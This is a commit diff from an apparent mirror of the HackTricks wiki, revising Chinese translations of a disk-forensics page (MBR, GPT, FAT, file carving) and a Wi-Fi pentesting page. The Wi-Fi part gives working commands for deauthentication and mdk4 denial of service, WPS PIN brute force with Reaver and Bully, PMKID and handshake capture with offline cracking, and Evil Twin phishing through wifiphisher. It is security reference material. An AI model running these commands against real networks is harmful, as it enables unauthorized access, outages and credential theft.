mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/basic-forensic-meth
This commit is contained in:
parent
24572b7f26
commit
ad67ecfce3
@ -10,7 +10,7 @@
|
||||
### MBR(主引导记录)
|
||||
|
||||
它分配在**引导代码后的第一个扇区的446B**。这个扇区对于指示PC应该从哪里挂载分区至关重要。\
|
||||
它最多允许**4个分区**(最多**只有1个**可以是活动的/**可引导**)。但是,如果需要更多分区,可以使用**扩展分区**。这个第一个扇区的**最后一个字节**是引导记录签名**0x55AA**。只能标记一个分区为活动。\
|
||||
它最多允许**4个分区**(最多**只有1个**可以是活动的/**可引导的**)。但是,如果需要更多分区,可以使用**扩展分区**。这个第一个扇区的**最后一个字节**是引导记录签名**0x55AA**。只能标记一个分区为活动。\
|
||||
MBR允许**最大2.2TB**。
|
||||
|
||||
.png>)
|
||||
@ -23,8 +23,8 @@ MBR允许**最大2.2TB**。
|
||||
|
||||
**格式**
|
||||
|
||||
| 偏移 | 长度 | 项目 |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 偏移量 | 长度 | 项目 |
|
||||
| ----------- | -------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | 引导代码 |
|
||||
| 446 (0x1BE) | 16 (0x10) | 第一个分区 |
|
||||
| 462 (0x1CE) | 16 (0x10) | 第二个分区 |
|
||||
@ -34,22 +34,22 @@ MBR允许**最大2.2TB**。
|
||||
|
||||
**分区记录格式**
|
||||
|
||||
| 偏移 | 长度 | 项目 |
|
||||
| --------- | -------- | ------------------------------------------------------ |
|
||||
| 偏移量 | 长度 | 项目 |
|
||||
| --------- | ------ | ------------------------------------------------------ |
|
||||
| 0 (0x00) | 1 (0x01) | 活动标志 (0x80 = 可引导) |
|
||||
| 1 (0x01) | 1 (0x01) | 起始磁头 |
|
||||
| 2 (0x02) | 1 (0x01) | 起始扇区(位0-5);气缸的高位(6-7) |
|
||||
| 2 (0x02) | 1 (0x01) | 起始扇区(位0-5);气缸的高位(6-7) |
|
||||
| 3 (0x03) | 1 (0x01) | 起始气缸最低8位 |
|
||||
| 4 (0x04) | 1 (0x01) | 分区类型代码(0x83 = Linux) |
|
||||
| 4 (0x04) | 1 (0x01) | 分区类型代码(0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | 结束磁头 |
|
||||
| 6 (0x06) | 1 (0x01) | 结束扇区(位0-5);气缸的高位(6-7) |
|
||||
| 6 (0x06) | 1 (0x01) | 结束扇区(位0-5);气缸的高位(6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | 结束气缸最低8位 |
|
||||
| 8 (0x08) | 4 (0x04) | 分区前的扇区(小端) |
|
||||
| 8 (0x08) | 4 (0x04) | 分区前的扇区(小端) |
|
||||
| 12 (0x0C) | 4 (0x04) | 分区中的扇区 |
|
||||
|
||||
为了在Linux中挂载MBR,您首先需要获取起始偏移量(可以使用`fdisk`和`p`命令)
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
然后使用以下代码
|
||||
```bash
|
||||
@ -64,16 +64,16 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
|
||||
### GPT (GUID 分区表)
|
||||
|
||||
GUID 分区表,称为 GPT,因其相较于 MBR(主引导记录)的增强能力而受到青睐。GPT 以其**全局唯一标识符**为分区而独树一帜,具体体现在以下几个方面:
|
||||
GUID 分区表,简称 GPT,因其相较于 MBR(主引导记录)具有更强的能力而受到青睐。GPT 以其**全局唯一标识符**为分区而独树一帜,具体体现在以下几个方面:
|
||||
|
||||
- **位置和大小**:GPT 和 MBR 都从**扇区 0** 开始。然而,GPT 采用**64位**,而 MBR 则是 32位。
|
||||
- **分区限制**:GPT 在 Windows 系统上支持最多**128个分区**,并可容纳高达**9.4ZB**的数据。
|
||||
- **分区名称**:允许使用最多 36 个 Unicode 字符命名分区。
|
||||
- **分区名称**:允许使用最多 36 个 Unicode 字符为分区命名。
|
||||
|
||||
**数据弹性和恢复**:
|
||||
|
||||
- **冗余**:与 MBR 不同,GPT 不将分区和引导数据限制在一个地方。它在磁盘上复制这些数据,从而增强数据完整性和弹性。
|
||||
- **循环冗余检查 (CRC)**:GPT 使用 CRC 确保数据完整性。它主动监控数据损坏,并在检测到时,尝试从另一个磁盘位置恢复损坏的数据。
|
||||
- **循环冗余校验 (CRC)**:GPT 使用 CRC 来确保数据完整性。它主动监控数据损坏,一旦发现,GPT 会尝试从另一个磁盘位置恢复损坏的数据。
|
||||
|
||||
**保护性 MBR (LBA0)**:
|
||||
|
||||
@ -85,17 +85,17 @@ GUID 分区表,称为 GPT,因其相较于 MBR(主引导记录)的增强
|
||||
|
||||
[来自维基百科](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
在支持**通过 BIOS** 服务而非 EFI 的**基于 GPT 的引导**的操作系统中,第一个扇区仍然可以用于存储**引导加载程序**代码的第一阶段,但**经过修改**以识别**GPT** **分区**。MBR 中的引导加载程序不得假设扇区大小为 512 字节。
|
||||
在支持**通过 BIOS** 服务而非 EFI 的操作系统中,第一扇区仍可能用于存储**引导加载程序**代码的第一阶段,但**经过修改**以识别**GPT** **分区**。MBR 中的引导加载程序不得假设扇区大小为 512 字节。
|
||||
|
||||
**分区表头 (LBA 1)**
|
||||
|
||||
[来自维基百科](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
分区表头定义了磁盘上可用的块。它还定义了构成分区表的分区条目的数量和大小(表中的偏移量 80 和 84)。
|
||||
分区表头定义了磁盘上可用的块。它还定义了构成分区表的分区条目的数量和大小(在表中的偏移量 80 和 84)。
|
||||
|
||||
| 偏移量 | 长度 | 内容 |
|
||||
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 字节 | 签名 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 或 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8) 在小端机器上) |
|
||||
| 0 (0x00) | 8 字节 | 签名 ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h 或 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)在小端机器上) |
|
||||
| 8 (0x08) | 4 字节 | 版本 1.0 (00h 00h 01h 00h) 适用于 UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 字节 | 小端的头部大小(以字节为单位,通常为 5Ch 00h 00h 00h 或 92 字节) |
|
||||
| 16 (0x10) | 4 字节 | [CRC32](https://en.wikipedia.org/wiki/CRC32) 的头部(偏移量 +0 到头部大小)的小端,计算时此字段置为零 |
|
||||
@ -108,7 +108,7 @@ GUID 分区表,称为 GPT,因其相较于 MBR(主引导记录)的增强
|
||||
| 72 (0x48) | 8 字节 | 分区条目数组的起始 LBA(主副本中始终为 2) |
|
||||
| 80 (0x50) | 4 字节 | 数组中分区条目的数量 |
|
||||
| 84 (0x54) | 4 字节 | 单个分区条目的大小(通常为 80h 或 128) |
|
||||
| 88 (0x58) | 4 字节 | 分区条目数组的 CRC32 小端 |
|
||||
| 88 (0x58) | 4 字节 | 分区条目数组的小端 CRC32 |
|
||||
| 92 (0x5C) | \* | 保留;对于块的其余部分必须为零(对于 512 字节的扇区大小为 420 字节;但对于更大的扇区大小可以更多) |
|
||||
|
||||
**分区条目 (LBA 2–33)**
|
||||
@ -118,9 +118,9 @@ GUID 分区表,称为 GPT,因其相较于 MBR(主引导记录)的增强
|
||||
| 偏移量 | 长度 | 内容 |
|
||||
| 0 (0x00) | 16 字节 | [分区类型 GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs)(混合字节序) |
|
||||
| 16 (0x10) | 16 字节 | 唯一分区 GUID(混合字节序) |
|
||||
| 32 (0x20) | 8 字节 | 第一个 LBA ([小端](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 32 (0x20) | 8 字节 | 第一个 LBA([小端](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 40 (0x28) | 8 字节 | 最后 LBA(包含,通常为奇数) |
|
||||
| 48 (0x30) | 8 字节 | 属性标志(例如,位 60 表示只读) |
|
||||
| 48 (0x30) | 8 字节 | 属性标志(例如,第 60 位表示只读) |
|
||||
| 56 (0x38) | 72 字节 | 分区名称(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE 代码单元) |
|
||||
|
||||
**分区类型**
|
||||
@ -135,7 +135,7 @@ GUID 分区表,称为 GPT,因其相较于 MBR(主引导记录)的增强
|
||||
|
||||
.png>)
|
||||
|
||||
如果是 **GPT 表而不是 MBR**,则应在 **扇区 1** 中出现签名 _EFI PART_(在前面的图像中是空的)。
|
||||
如果它是 **GPT 表而不是 MBR**,则在 **扇区 1** 中应出现签名 _EFI PART_(在前面的图像中是空的)。
|
||||
|
||||
## 文件系统
|
||||
|
||||
@ -149,15 +149,15 @@ GUID 分区表,称为 GPT,因其相较于 MBR(主引导记录)的增强
|
||||
|
||||
### FAT
|
||||
|
||||
**FAT (文件分配表)** 文件系统围绕其核心组件——文件分配表设计,该表位于卷的开始。该系统通过维护**两个副本**的表来保护数据,确保即使一个损坏也能保持数据完整性。该表及根文件夹必须位于**固定位置**,这对系统的启动过程至关重要。
|
||||
**FAT (文件分配表)** 文件系统围绕其核心组件——文件分配表设计,该表位于卷的开始。该系统通过维护**两个副本**的表来保护数据,即使其中一个损坏也能确保数据完整性。该表及根文件夹必须位于**固定位置**,这对系统的启动过程至关重要。
|
||||
|
||||
文件系统的基本存储单位是**簇,通常为 512B**,由多个扇区组成。FAT 经过多个版本的演变:
|
||||
|
||||
- **FAT12**,支持 12 位簇地址,处理最多 4078 个簇(与 UNIX 一起为 4084)。
|
||||
- **FAT12**,支持 12 位簇地址,处理最多 4078 个簇(4084 个与 UNIX)。
|
||||
- **FAT16**,增强为 16 位地址,从而容纳最多 65,517 个簇。
|
||||
- **FAT32**,进一步发展为 32 位地址,允许每个卷高达 268,435,456 个簇。
|
||||
|
||||
所有 FAT 版本的一个显著限制是**最大文件大小为 4GB**,这是由于用于存储文件大小的 32 位字段所致。
|
||||
所有 FAT 版本的一个显著限制是**最大文件大小为 4GB**,这是由于用于文件大小存储的 32 位字段所致。
|
||||
|
||||
根目录的关键组件,特别是对于 FAT12 和 FAT16,包括:
|
||||
|
||||
@ -183,7 +183,7 @@ GUID 分区表,称为 GPT,因其相较于 MBR(主引导记录)的增强
|
||||
- GPS 坐标
|
||||
- 图像信息
|
||||
|
||||
您可以使用 [**exiftool**](https://exiftool.org) 和 [**Metadiver**](https://www.easymetadata.com/metadiver-2/) 等工具获取文件的元数据。
|
||||
您可以使用像 [**exiftool**](https://exiftool.org) 和 [**Metadiver**](https://www.easymetadata.com/metadiver-2/) 这样的工具来获取文件的元数据。
|
||||
|
||||
## **已删除文件恢复**
|
||||
|
||||
@ -199,7 +199,7 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### **文件雕刻**
|
||||
|
||||
**文件雕刻**是一种尝试在**大量数据中查找文件**的技术。此类工具的工作方式主要有三种:**基于文件类型的头部和尾部**、基于文件类型的**结构**以及基于**内容**本身。
|
||||
**文件雕刻**是一种尝试在大量数据中**查找文件**的技术。此类工具的工作主要有三种方式:**基于文件类型的头部和尾部**、基于文件类型的**结构**以及基于**内容**本身。
|
||||
|
||||
请注意,这种技术**无法检索碎片化的文件**。如果文件**未存储在连续的扇区中**,则此技术将无法找到它,或至少无法找到其部分。
|
||||
|
||||
@ -220,8 +220,8 @@ file-data-carving-recovery-tools.md
|
||||
|
||||
### 安全删除
|
||||
|
||||
显然,有方法可以**“安全”删除文件及其部分日志**。例如,可以**多次用垃圾数据覆盖**文件的内容,然后**删除**关于该文件的**$MFT** 和 **$LOGFILE** 中的**日志**,并**删除卷影副本**。\
|
||||
您可能会注意到,即使执行该操作,仍可能有**其他部分记录了文件的存在**,这确实是事实,取证专业人员的工作之一就是找到它们。
|
||||
显然,有方法可以**“安全地”删除文件及其部分日志**。例如,可以**多次用垃圾数据覆盖**文件的内容,然后**删除**关于该文件的**$MFT** 和 **$LOGFILE** 中的**日志**,并**删除卷影副本**。\
|
||||
您可能会注意到,即使执行该操作,仍可能有**其他地方记录了文件的存在**,这确实是事实,取证专业人员的工作就是找到它们。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -43,9 +43,11 @@ docker run \
|
||||
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
|
||||
v1s1t0r1sh3r3/airgeddon
|
||||
```
|
||||
从: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux)
|
||||
|
||||
### wifiphisher
|
||||
|
||||
它可以执行 Evil Twin、KARMA 和 Known Beacons 攻击,然后使用钓鱼模板来成功获取网络真实密码或捕获社交网络凭据。
|
||||
它可以执行 Evil Twin、KARMA 和 Known Beacons 攻击,然后使用钓鱼模板来获取网络真实密码或捕获社交网络凭据。
|
||||
```bash
|
||||
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
|
||||
cd wifiphisher # Switch to tool's directory
|
||||
@ -59,7 +61,7 @@ sudo python setup.py install # Install any dependencies
|
||||
- 扫描可能的网络 - 并让您选择受害者
|
||||
- 如果是 WEP - 发起 WEP 攻击
|
||||
- 如果是 WPA-PSK
|
||||
- 如果是 WPS:Pixie dust 攻击和暴力破解攻击(请注意,暴力破解攻击可能需要很长时间)。请注意,它不会尝试空 PIN 或数据库/生成的 PIN。
|
||||
- 如果是 WPS:Pixie dust 攻击和暴力破解攻击(注意,暴力破解攻击可能需要很长时间)。请注意,它不会尝试空 PIN 或数据库/生成的 PIN。
|
||||
- 尝试从 AP 捕获 PMKID 以进行破解
|
||||
- 尝试使 AP 的客户端失去认证以捕获握手
|
||||
- 如果有 PMKID 或握手,尝试使用前5000个密码进行暴力破解。
|
||||
@ -69,7 +71,7 @@ sudo python setup.py install # Install any dependencies
|
||||
- **DoS**
|
||||
- 失去认证/解除关联 -- 断开所有人(或特定的 ESSID/客户端)
|
||||
- 随机假 AP -- 隐藏网络,可能使扫描器崩溃
|
||||
- 过载 AP -- 尝试杀死 AP(通常不是很有用)
|
||||
- 过载 AP -- 尝试杀死 AP(通常不太有用)
|
||||
- WIDS -- 玩弄 IDS
|
||||
- TKIP, EAPOL -- 一些特定的 DoS 攻击针对某些 AP
|
||||
- **破解**
|
||||
@ -83,7 +85,7 @@ sudo python setup.py install # Install any dependencies
|
||||
- **暴力破解** 凭证
|
||||
- **恶意双胞胎**(有或没有 DoS)
|
||||
- **开放** 恶意双胞胎 \[+ DoS] -- 有助于捕获强制门户凭证和/或执行局域网攻击
|
||||
- **WPA-PSK** 恶意双胞胎 -- 如果您知道密码,对网络攻击很有用
|
||||
- **WPA-PSK** 恶意双胞胎 -- 如果您知道密码,对网络攻击有用
|
||||
- **WPA-MGT** -- 有助于捕获公司凭证
|
||||
- **KARMA, MANA**, **Loud MANA**, **已知信标**
|
||||
- **+ 开放** -- 有助于捕获强制门户凭证和/或执行局域网攻击
|
||||
@ -95,7 +97,7 @@ sudo python setup.py install # Install any dependencies
|
||||
|
||||
**来自** [**这里**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**的描述。**
|
||||
|
||||
**失去认证** 攻击是 Wi-Fi 黑客中一种常见的方法,涉及伪造“管理”帧以 **强制断开设备与网络的连接**。这些未加密的数据包欺骗客户端,使其相信它们来自合法网络,从而使攻击者能够收集 WPA 握手以进行破解或持续干扰网络连接。这种战术,尽管简单,却被广泛使用,并对网络安全产生重大影响。
|
||||
**失去认证** 攻击是 Wi-Fi 黑客中一种常见的方法,涉及伪造“管理”帧以 **强制断开设备与网络的连接**。这些未加密的数据包欺骗客户端,使其相信它们来自合法网络,从而使攻击者能够收集 WPA 握手以进行破解或持续干扰网络连接。这种简单的战术令人震惊,广泛使用,并对网络安全产生重大影响。
|
||||
|
||||
**使用 Aireplay-ng 进行失去认证**
|
||||
```
|
||||
@ -136,7 +138,7 @@ mdk4 wlan0mon b -a -w nta -m
|
||||
```
|
||||
**攻击模式 a: 认证拒绝服务**
|
||||
|
||||
向范围内所有可访问的接入点(AP)发送认证帧可能会使这些 AP 过载,特别是在涉及多个客户端时。这种强烈的流量可能导致系统不稳定,导致一些 AP 冻结或甚至重置。
|
||||
向范围内所有可访问的接入点 (AP) 发送认证帧可能会使这些 AP 过载,尤其是在涉及多个客户端时。这种强烈的流量可能导致系统不稳定,导致一些 AP 冻结或甚至重置。
|
||||
```bash
|
||||
# -a BSSID send random data from random clients to try the DoS
|
||||
# -i BSSID capture and repeat pakets from authenticated clients
|
||||
@ -148,9 +150,9 @@ mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
|
||||
|
||||
探测接入点 (AP) 检查 SSID 是否正确显示,并确认 AP 的范围。此技术与 **暴力破解隐藏 SSID**(有或没有字典)相结合,有助于识别和访问隐藏网络。
|
||||
|
||||
**攻击模式 m: Michael 对策利用**
|
||||
**攻击模式 m: Michael 反制措施利用**
|
||||
|
||||
向不同的 QoS 队列发送随机或重复的数据包可能会触发 **TKIP AP** 上的 Michael 对策,导致 AP 关闭一分钟。此方法是一种有效的 **DoS**(拒绝服务)攻击战术。
|
||||
向不同的 QoS 队列发送随机或重复的数据包可以触发 **TKIP AP** 上的 Michael 反制措施,导致 AP 关闭一分钟。此方法是一种有效的 **DoS**(拒绝服务)攻击战术。
|
||||
```bash
|
||||
# -t <BSSID> of a TKIP AP
|
||||
# -j use inteligent replay to create the DoS
|
||||
@ -163,20 +165,20 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
|
||||
# Use Logoff messages to kick clients
|
||||
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
|
||||
```
|
||||
**ATTACK MODE s: 对IEEE 802.11s网状网络的攻击**
|
||||
**攻击模式 s: 针对 IEEE 802.11s 网状网络的攻击**
|
||||
|
||||
对网状网络中链路管理和路由的各种攻击。
|
||||
对网状网络中的链路管理和路由的各种攻击。
|
||||
|
||||
**ATTACK MODE w: WIDS混淆**
|
||||
**攻击模式 w: WIDS 混淆**
|
||||
|
||||
将客户端交叉连接到多个WDS节点或假冒的恶意AP可以操纵入侵检测和防御系统,造成混淆和潜在的系统滥用。
|
||||
将客户端交叉连接到多个 WDS 节点或假冒的恶意 AP 可以操纵入侵检测和防御系统,造成混淆和潜在的系统滥用。
|
||||
```bash
|
||||
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
|
||||
mkd4 -e <SSID> -c <channel> [-z]
|
||||
```
|
||||
**攻击模式 f: 数据包模糊器**
|
||||
**攻击模式 f: 数据包模糊测试器**
|
||||
|
||||
一个具有多种数据包来源和全面数据包操作修改器的数据包模糊器。
|
||||
一个具有多样数据包来源和全面数据包操作修改器的数据包模糊测试器。
|
||||
|
||||
### **Airggedon**
|
||||
|
||||
@ -186,14 +188,14 @@ _**Airgeddon**_ 提供了之前评论中提出的大多数攻击:
|
||||
|
||||
## WPS
|
||||
|
||||
WPS(Wi-Fi 保护设置)简化了将设备连接到路由器的过程,提高了加密为 **WPA** 或 **WPA2** 个人网络的设置速度和便利性。对于容易被攻破的 WEP 安全性,它是无效的。WPS 使用一个 8 位数字的 PIN,分为两部分进行验证,这使得它由于组合数量有限(11,000 种可能性)而容易受到暴力攻击。
|
||||
WPS (Wi-Fi Protected Setup) 简化了将设备连接到路由器的过程,提高了加密网络(使用 **WPA** 或 **WPA2** Personal)的设置速度和便利性。对于容易被攻破的 WEP 安全性,它是无效的。WPS 使用一个 8 位数字的 PIN,分为两部分进行验证,这使得它由于组合数量有限(11,000 种可能性)而容易受到暴力攻击。
|
||||
|
||||
### WPS 暴力破解
|
||||
|
||||
执行此操作的主要工具有 2 个:Reaver 和 Bully。
|
||||
执行此操作的主要工具有两个:Reaver 和 Bully。
|
||||
|
||||
- **Reaver** 被设计为对 WPS 的一种强大且实用的攻击,并已在各种接入点和 WPS 实现中进行了测试。
|
||||
- **Bully** 是 WPS 暴力破解攻击的 **新实现**,用 C 语言编写。它相较于原始的 Reaver 代码有几个优势:依赖性更少,内存和 CPU 性能更好,正确处理字节序,以及更强大的选项集。
|
||||
- **Bully** 是 WPS 暴力破解攻击的 **新实现**,用 C 编写。它相较于原始的 Reaver 代码有几个优势:依赖性更少,内存和 CPU 性能更好,正确处理字节序,以及更强大的选项集。
|
||||
|
||||
该攻击利用了 **WPS PIN 的漏洞**,特别是前四位数字的暴露和最后一位数字作为校验和的角色,简化了暴力攻击。然而,针对暴力攻击的防御措施,如 **阻止攻击者的 MAC 地址**,需要 **MAC 地址轮换** 以继续攻击。
|
||||
|
||||
@ -204,7 +206,7 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
|
||||
```
|
||||
**智能暴力破解**
|
||||
|
||||
这种精细化的方法针对使用已知漏洞的WPS PIN:
|
||||
这种精细的方法针对使用已知漏洞的WPS PIN:
|
||||
|
||||
1. **预先发现的PIN**:利用与特定制造商相关的已知PIN数据库,这些制造商已知使用统一的WPS PIN。该数据库将MAC地址的前三个八位字节与这些制造商可能的PIN相关联。
|
||||
2. **PIN生成算法**:利用像ComputePIN和EasyBox这样的算法,根据AP的MAC地址计算WPS PIN。Arcadyan算法还需要设备ID,为PIN生成过程增加了一层。
|
||||
@ -254,7 +256,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
|
||||
|
||||
### PMKID
|
||||
|
||||
在 2018 年,**hashcat** [揭示](https://hashcat.net/forum/thread-7717.html)了一种新的攻击方法,独特之处在于它只需要 **一个单一的数据包**,并且不需要任何客户端连接到目标 AP——只需攻击者与 AP 之间的交互。
|
||||
在 2018 年,**hashcat** [揭示](https://hashcat.net/forum/thread-7717.html) 一种新的攻击方法,独特之处在于它只需要 **一个单一的数据包**,并且不需要任何客户端连接到目标 AP——只需攻击者与 AP 之间的交互。
|
||||
|
||||
许多现代路由器在关联期间向 **第一个 EAPOL** 帧添加了一个 **可选字段**,称为 `Robust Security Network`。这包括 `PMKID`。
|
||||
|
||||
@ -293,14 +295,14 @@ hccap2john pmkid.hccapx > handshake.john
|
||||
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
|
||||
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
|
||||
```
|
||||
_我注意到使用这个工具捕获的一些握手即使知道正确的密码也无法破解。我建议如果可能的话,也通过传统方式捕获握手,或者使用这个工具捕获多个握手。_
|
||||
我注意到使用这个工具捕获的一些握手即使知道正确的密码也无法破解。如果可能的话,我建议通过传统方式捕获握手,或者使用这个工具捕获多个握手。
|
||||
|
||||
### 握手捕获
|
||||
|
||||
对 **WPA/WPA2** 网络的攻击可以通过捕获 **握手** 并尝试 **离线破解** 密码来执行。这个过程涉及监控特定网络和 **BSSID** 在特定 **频道** 上的通信。以下是简化的指南:
|
||||
对**WPA/WPA2**网络的攻击可以通过捕获**握手**并尝试**离线破解**密码来执行。这个过程涉及监控特定网络和特定**频道**上的**BSSID**的通信。以下是简化的指南:
|
||||
|
||||
1. 确定目标网络的 **BSSID**、**频道** 和 **连接的客户端**。
|
||||
2. 使用 `airodump-ng` 监控指定频道和 BSSID 的网络流量,期望捕获一个握手。命令看起来像这样:
|
||||
1. 确定目标网络的**BSSID**、**频道**和**连接的客户端**。
|
||||
2. 使用`airodump-ng`在指定的频道和BSSID上监控网络流量,期望捕获一个握手。命令将如下所示:
|
||||
```bash
|
||||
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
|
||||
```
|
||||
@ -339,23 +341,23 @@ _如果该工具在完成的握手之前找到一个ESSID的未完成握手,
|
||||
apt-get install pyrit #Not working for newer versions of kali
|
||||
pyrit -r psk-01.cap analyze
|
||||
```
|
||||
## **WPA Enterprise (MGT)**
|
||||
## **WPA 企业版 (MGT)**
|
||||
|
||||
在**企业WiFi设置中,您将遇到各种认证方法**,每种方法提供不同的安全级别和管理功能。当您使用工具如`airodump-ng`检查网络流量时,您可能会注意到这些认证类型的标识符。一些常见的方法包括:
|
||||
在 **企业 WiFi 设置中,您将遇到各种认证方法**,每种方法提供不同的安全级别和管理功能。当您使用工具如 `airodump-ng` 检查网络流量时,您可能会注意到这些认证类型的标识符。一些常见的方法包括:
|
||||
```
|
||||
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
|
||||
```
|
||||
1. **EAP-GTC (通用令牌卡)**:
|
||||
- 此方法支持硬件令牌和一次性密码在EAP-PEAP中。与MSCHAPv2不同,它不使用对等挑战,并以明文形式将密码发送到接入点,存在降级攻击的风险。
|
||||
2. **EAP-MD5 (消息摘要5)**:
|
||||
- 涉及从客户端发送密码的MD5哈希。由于易受字典攻击、缺乏服务器认证以及无法生成会话特定的WEP密钥,因此**不推荐**使用。
|
||||
- 涉及从客户端发送密码的MD5哈希。由于对字典攻击的脆弱性、缺乏服务器认证以及无法生成会话特定的WEP密钥,因此**不推荐**使用。
|
||||
3. **EAP-TLS (传输层安全)**:
|
||||
- 利用客户端和服务器端证书进行认证,并可以动态生成基于用户和会话的WEP密钥以保护通信。
|
||||
4. **EAP-TTLS (隧道传输层安全)**:
|
||||
- 通过加密隧道提供双向认证,并提供一种方法来推导动态的、每用户、每会话的WEP密钥。只需要服务器端证书,客户端使用凭据。
|
||||
- 通过加密隧道提供相互认证,并提供一种方法来推导动态的、每用户、每会话的WEP密钥。它只需要服务器端证书,客户端使用凭据。
|
||||
5. **PEAP (受保护的可扩展认证协议)**:
|
||||
- 通过创建TLS隧道进行受保护的通信,功能类似于EAP。由于隧道提供的保护,它允许在EAP之上使用较弱的认证协议。
|
||||
- **PEAP-MSCHAPv2**: 通常称为PEAP,它将易受攻击的MSCHAPv2挑战/响应机制与保护性的TLS隧道结合在一起。
|
||||
- **PEAP-MSCHAPv2**: 通常称为PEAP,它将脆弱的MSCHAPv2挑战/响应机制与保护性的TLS隧道结合在一起。
|
||||
- **PEAP-EAP-TLS (或PEAP-TLS)**: 类似于EAP-TLS,但在交换证书之前启动TLS隧道,提供额外的安全层。
|
||||
|
||||
您可以在[这里](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)和[这里](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)找到有关这些认证方法的更多信息。
|
||||
@ -379,17 +381,17 @@ pyrit -r psk-01.cap analyze
|
||||
- 在这种情况下,来自不同领域的用户隐藏他们的身份,同时指示他们各自的领域。这允许初始RADIUS服务器将EAP-PEAP或EAP-TTLS请求代理到其家庭领域中的RADIUS服务器,这些服务器充当PEAP或TTLS服务器。初始RADIUS服务器仅作为RADIUS中继节点运行。
|
||||
- 另外,初始RADIUS服务器可以作为EAP-PEAP或EAP-TTLS服务器,处理受保护的认证方法或将其转发到另一服务器。此选项便于为不同领域配置不同的策略。
|
||||
|
||||
在EAP-PEAP中,一旦在PEAP服务器和PEAP客户端之间建立了TLS隧道,PEAP服务器就会发起EAP-身份请求并通过TLS隧道发送。客户端通过发送包含用户真实身份的EAP-身份响应来响应第二个EAP-身份请求。此方法有效防止了任何窃听802.11流量的人揭示用户的实际身份。
|
||||
在EAP-PEAP中,一旦在PEAP服务器和PEAP客户端之间建立了TLS隧道,PEAP服务器会发起EAP-身份请求并通过TLS隧道发送。客户端通过发送包含用户真实身份的EAP-身份响应来响应第二个EAP-身份请求。此方法有效防止任何窃听802.11流量的人揭示用户的实际身份。
|
||||
|
||||
EAP-TTLS遵循稍微不同的程序。在EAP-TTLS中,客户端通常使用PAP或CHAP进行身份验证,受TLS隧道保护。在这种情况下,客户端在隧道建立后发送的初始TLS消息中包含一个用户名称属性和一个密码或CHAP密码属性。
|
||||
|
||||
无论选择哪种协议,PEAP/TTLS服务器在建立TLS隧道后都能了解用户的真实身份。真实身份可以表示为user@realm或简单的user。如果PEAP/TTLS服务器还负责对用户进行身份验证,它现在拥有用户的身份,并继续进行受TLS隧道保护的认证方法。或者,PEAP/TTLS服务器可以将新的RADIUS请求转发到用户的家庭RADIUS服务器。此新的RADIUS请求省略了PEAP或TTLS协议层。在受保护的认证方法为EAP的情况下,内部EAP消息在没有EAP-PEAP或EAP-TTLS包装的情况下传输到家庭RADIUS服务器。发出的RADIUS消息的用户名称属性包含用户的真实身份,替换了来自传入RADIUS请求的匿名用户名称。当受保护的认证方法为PAP或CHAP(仅TTLS支持)时,从TLS有效负载中提取的用户名称和其他认证属性在发出的RADIUS消息中替换,取代了传入RADIUS请求中的匿名用户名称和TTLS EAP-消息属性。
|
||||
